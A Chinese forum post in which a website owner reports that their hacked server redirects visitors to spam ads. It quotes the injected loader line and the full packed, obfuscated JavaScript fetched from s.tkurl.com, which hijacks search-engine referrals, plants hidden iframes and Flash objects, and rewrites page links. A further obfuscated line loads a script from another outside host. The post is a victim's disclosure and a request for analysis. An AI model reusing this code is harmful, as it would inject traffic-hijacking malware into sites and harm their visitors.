服务器被黑 发现网站被加入 http://s.tkurl.com/navigatoral.js 文件

今天发现打开网站会被自动跳转到一个垃圾广告页面，怀疑网站被入侵了，于是就查看源代码，发现网页源代码里面并没有外部网站的链接地址，于是怀疑是网页调用的JS代码里面被人加入其他代码，最后只好把网页上调用的JS全部排查一遍，终于在一个JS代码里面发现被人加入“document.write(unescape("%3Cscript src='http://s.tkurl.com/navigatoral.js' type='text/javascript'%3E%3C/script%3E"));”这个代码，妈的，藏的很深！用阿里云的服务器，不知道是怎么被黑进去的。。。。

http://s.tkurl.com/navigatoral.js 中的代码如下，大虾可以来分析下

1. 
   
2. eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('4("3l"==2f(2)){2=[];2.1D=13 2H("(k.r.3)|(k.20.c)|(k.2k.3)|(Y.v.1N.3)|(Y.1N.3)|(21.1B.v)|(1c.1B.v)|(Y.2p.2q.v)|(1c.3)|(2t.3)|(2u.3)|(2C.3)|(1U.1J.v)|(2S.1J.v)|(k.1U.3)|(2Y.3)|(36.3)|(k.3a.3)|(3c.r.3)|(m.r.3)|(3g.r.3)|(3h.r.3)|(3j.1f.3)|(t.1f.3)|(r.22)|(23.3)|(25.3)|(2c.3)|(2d.3)|(2e.3)","i");2.j=A;h{4(Q&&Q.f&&Q.5.2A("2B")){2.j=Q}}g(e){}2.B=2.j.10.B;4(!2.B)2.B="";2.1M=a(1T){9 T=5.1h.1z("; ");W(9 i=0;i<T.z;i++){9 16=T[i].1z("=");4(1T==16[0])O 24(16[1])}O""};2.U=a(1W){L=13 1d();L.2g(L.2i()+6);5.1h="1g="+2l(1W)+"; 2m="+L.2n()+";2o=/"};2.X=2.B.1i(/(k|1s|1v)\\./1w,"").2y(0);4(2z(2.X))2.X=0;2.C="1A"+"p://s.y"+"2E"+"w.c"+"1I/2J"+"2K.2M"+"2N?";2.o=13 1d();2.Z=a(){h{9 1Z=2.C+"38"+(2.o.12()+1)+""+2.o.1b()+".D";4(5.u){2.I.3i(1Z);2.I=V;3B.3s()}}g(e){}};2.1e=a(){h{4(5.u){2.I=5.K("<J E=0 F=0 1j=\'26:27-28-29-2a-2b\'></J>");A.u("1k",2.Z)}}g(e){}};2.1l=a(){h{4(A.1m){2.I=V;A.1m("1k",2.Z)}}g(e){}};2.1n=a(){2.1l();2.U("1o");2.j.10=2.C+"2h"+(2.o.12()+1)+""+2.o.1b()+".D"};2.1p=a(){1q(2.1n,2j);O 1r};2.M=1t;2.1u=a(N){h{2.j.G.10=N}g(e){h{2.j.G.1x(N)}g(2r){h{2.j.G.G.1x(N)}g(2s){2.1e();2.M=1r}}}};2.1y=a(){9 P=2.1M("1g");4(P==""||P.11("C")<0){2.1u(2.C+"2v"+(2.o.12()+1)+""+2.o.1b()+".D");4(!2.M){2.U(P+"1o")}}};4(2.j.G){4(2.1D.2w(2.j.5.2x)){2.1y()}}2.H=a(D){9 8=5.K("1C");8.n.E="0";8.n.F="0";8.n.1E="1F";8.n.1G="-1H";8.2F=D;5.14.H(8)};2.2G=a(){4(1>15.z)O;9 8=5.K("1C");8.n.E="0";8.n.F="0";8.n.1E="1F";8.n.1G="-1H";W(9 i=0;i<15.z;i++)8.H(5.K(\'2I\')).1K=15[i];5.14.H(8)};2.R=a(){4(5.14==V){1q(2.R,2L)}1L{9 17="1A"+"p://s.t"+"2O"+"l.c"+"1I/2P"+"2Q.s"+"2R";9 S="d="+2.B.1i(/(k|1s|1v)\\./1w,"").2T(0);h{4((!5.u)||2U.2V.11("2W")>-1){S+="&b=2X"}}g(e){}9 1O=\'<J 1j="2Z:30-31-32-33-34" 35="1P://37.1Q.3/39/1R/3b/1S/3d.3e#3f=7,0,0,0" E="0" F="0"><19 1a="1V" 18="1X"/><19 1a="3k" 18="\'+17+\'"/><19 1a="1Y" 18="\'+S+\'"/><3m 1K="\'+17+\'" 1Y="\'+S+\'" E="0" F="0" 1V="1X" 3n="3o/x-1R-1S" 3p="1P://k.1Q.3/3q/3r" /></J>\';2.H(1O);4(2.M){9 q=5.3t;4(q.z&&q.z>0){W(9 i=0;i<q.z;i++){4(q[i].3u.11("3v")<0){q[i].3w="3x";q[i].3y=2.1p}}}}}};h{4(5.u){A.u("3z",2.R)}1L{A.3A("2D",2.R,1t)}}g(e){}}',62,224,'||_5had0w|com|if|document|||node|var|function||||||catch|try||win|www|||style|dd||ls|baidu|||attachEvent|cn||||length|window|host|mall|html|width|height|opener|appendChild|pnode|object|createElement|date|np|lochref|return|_co|parent|oload|pm|aCookie|setcookie|null|for|hcode|search|powerboom|location|indexOf|getMonth|new|body|arguments|aCrumb|fp|value|param|name|getDate|bing|Date|nvPower|qq|oc_busy|cookie|replace|classid|onunload|detachPower|detachEvent|nvEnter|_mall|shadowClick|setTimeout|true|blog|false|nvIt|bbs|ig|navigate|nvUrl|split|htt|118114|DIV|ssite|position|absolute|left|100px|om|360|src|else|getcookie|yahoo|str|http|macromedia|shockwave|flash|sName|so|allowScriptAccess|sValue|always|flashVars|urlp|google|114search|asp|hao123|unescape|265|CLSID|6BF52A52|394A|11D3|B153|00C04F79FAA6|114la|115|etao|typeof|setMinutes|e0|getMinutes|1500|youdao|escape|expires|toGMTString|path|114|vnet|e2|e3|soso|sososnap|n0|test|referrer|charCodeAt|isNaN|getElementById|fulliframe|sogou|load|ytl|innerHTML|appendScript|RegExp|script|gom|alls|200|ht|ml|kur|bro|adp|wf|hao|charAt|navigator|userAgent|Opera|ff|360webcache|clsid|d27cdb6e|ae6d|11cf|96b8|444553540000|codebase|gougou|fpdownload|p0|pub|gouwo|cabs|cache|swflash|cab|version|baike|tieba|launchURL|qzone|movie|undefined|embed|type|application|pluginspage|go|getflashplayer|focus|links|href|javascript|target|_blank|onclick|onload|addEventListener|self'.split('|'),0,{}))
   
3. document.write("<\u0073cr"+"ipt src='http://\u0061k."+"\u0069z5"+"5"+".\u0063om"+"/ip."+"asp"+"?fujian|xiamen'><\/scr"+"ipt>");
   

复制代码